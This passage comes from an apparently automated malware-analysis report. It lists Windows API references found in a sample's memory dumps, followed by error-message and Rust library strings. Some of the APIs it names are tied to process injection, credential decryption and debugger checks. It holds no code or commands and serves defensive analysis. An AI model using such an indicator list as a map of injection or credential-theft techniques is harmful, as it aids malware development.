"00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "InterlockedCompareExchange"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CreateEventExW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesExW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CharLowerW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CharUpperW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringA"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingA"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameA"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount64"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CreateFile2"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CompareStringEx"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "AddVectoredExceptionHandler"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CancelIo"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CompareStringOrdinal"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CopyFileExW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CreateIoCompletionPort"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CreateRemoteThread"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CreateWaitableTimerExW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "DeviceIoControl"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "DuplicateHandle"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "ExitThread"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileExA"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "FindFirstVolumeW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "FindNextVolumeW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "FindVolumeClose"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "FreeLibraryAndExitThread"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameExW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleCP"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThread"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceExW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeThread"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetFileInformationByHandle"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetFinalPathNameByHandleW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetOverlappedResult"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetProcessIoCounters"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetQueuedCompletionStatusEx"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimes"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetTimeZoneInformation"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetVolumePathNamesForVolumeNameW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GlobalMemoryStatusEx"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "K32GetPerformanceInfo"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "MoveFileExW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "PostQueuedCompletionStatus"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "ReadFileEx"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "ReadProcessMemory"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "RtlPcToFileHeader"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableA"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "SetFileCompletionNotificationModes"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "SetFileInformationByHandle"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "SetHandleInformation"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "SetThreadStackGuarantee"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "SetWaitableTimer"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "SleepEx"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "SwitchToThread"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "TryEnterCriticalSection"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "VirtualAllocEx"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "VirtualQueryEx"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "WaitForMultipleObjects"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "WriteFileEx"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "WriteProcessMemory"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "ConvertSidToStringSidW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CopySid"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetLengthSid"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetUserNameW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "IsValidSid"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountNameW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "BCryptGenRandom"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CertCloseStore"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CertDuplicateCertificateContext"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CertEnumCertificatesInStore"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CertFreeCertificateContext"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CertGetEnhancedKeyUsage"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CertOpenStore"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CertVerifyTimeValidity"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CryptUnprotectData"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "NtCreateFile"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "NtCreateNamedPipeFile"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "NtDeviceIoControlFile"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "NtOpenFile"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "NtQueryInformationProcess"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "NtQuerySystemInformation"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "NtReadFile"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "NtWriteFile"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetErrorInfo"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "SysFreeString"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "SysStringLen"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "WSACleanup"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "WSAGetLastError"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "WSAIoctl"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "WSASend"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "WSAStartup"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "closesocket"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "getpeername"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "getsockname"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "getsockopt"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "ioctlsocket"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CommandLineToArgvW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameExW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetProcessMemoryInfo"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp")43:T495,Found reference to API "SetLastError" (Indicator: "SetLastError"; File: "file") Found reference to API "GetLastError" (Indicator: "GetLastError"; File: "file") Found reference to API "WSAGetLastError" (Indicator: "GetLastError"; File: "file") Found reference to API "The function "%1" failed unexpectedly. Error=%2!d!, GetLastError=%3!d!." (Indicator: "GetLastError"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "The function: "%1" failed unexpectedly. GetLastError=%2!d!." (Indicator: "GetLastError"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "GetLastError: %2!d!.%n" (Indicator: "GetLastError"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "WSAGetLastError" (Indicator: "GetLastError"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp")44:Tfb7,Found reference string "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\std\src\sync\mpmc\mod.rs" (Indicator: "/rustc/"; File: "file") Found reference string "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\std\src\sync\mpmc\list.rs" (Indicator: "/rustc/"; File: "file") Found reference string "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\std\src\sync\mpmc\zero.rs" (Indicator: "/rustc/"; File: "file") Found reference string "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\std\src\sync\mpmc\array.rs" (Indicator: "/rustc/"; File: "file") Found reference string "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\std\src\sync\mpmc\waker.rs" (Indicator: "/rustc/"; File: "file") Found reference string "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\std\src\sync\mpmc\context.rs" (Indicator: "/rustc/"; File: "file") Found reference string "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\alloc\src\collections\btree\map.rs" (Indicator: "/rustc/"; File: "file") Found reference string "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\core\src\slice\sort\stable\drift.rs" (Indicator: "/rustc/"; File: "file") Found reference string "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\core\src\slice\sort\stable\quicksort.rs" (Indicator: "/rustc/"; File: "file") Found reference string "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\alloc\src\boxed\iter.rs" (Indicator: "/rustc/"; File: "file") Found reference string "RAYON_NUM_THREADSRAYON_RS_NUM_CPUSThreadPoolBuildErrorGlobalPoolAlreadyInitializedCurrentThreadAlreadyInPoolIOError/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\alloc\src\boxed\convert.rs" (Indicator: "/rustc/"; File: "file") Found reference string "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\core\src\mem\maybe_uninit.rs" (Indicator: "/rustc/"; File: "file") Found reference string "InvalidUri/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\alloc\src\collections\vec_deque\mod.rs" (Indicator: "/rustc/"; File: "file") Found reference string "IntegerRealBlob/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\core\src\ops\function.rs" (Indicator: "/rustc/"; File: "file") Found reference string "assertion failed: buf.len() <= u32::MAX as usize/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\std\src\sys\io\io_slice\windows.rs" (Indicator: "/rustc/"; File: "file") Found reference string "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\std\src\io\buffered\bufreader.rs" (Indicator: "/rustc/"; File: "file") Found reference string "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\std\src\sync\poison\once.rs" (Indicator: "/rustc/"; File: "file") Found reference string "overflow in Duration::new/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\core\src\time.rs" (Indicator: "/rustc/"; File: "file") Found reference string "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\alloc\src\collections\btree\map\entry.rs" (Indicator: "/rustc/"; File: "file") Found reference string "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\alloc\src\collections\btree\node.rs" (Indicator: "/rustc/"; File: "file") Found reference string "RUST_BACKTRACElibrary\std\src\sys_common\wtf8.rs" (Indicator: "rust_backtrace"; File: "file") Found reference string "note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.__rust_end_short_backtrace__rust_begin_short_backtraces [... omitted frame ...]" (Indicator: "rust_backtrace"; File: "file") Found reference string "note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace" (Indicator: "rust_backtrace"; File: "file") Found reference string "/rustc/29483883eed69d5fb4db01964cdf2af4d86e9cb2\library\alloc\src\vec\spec_from_iter_nested.rs" (Indicator: "/rustc/"; File: "file") Found reference string 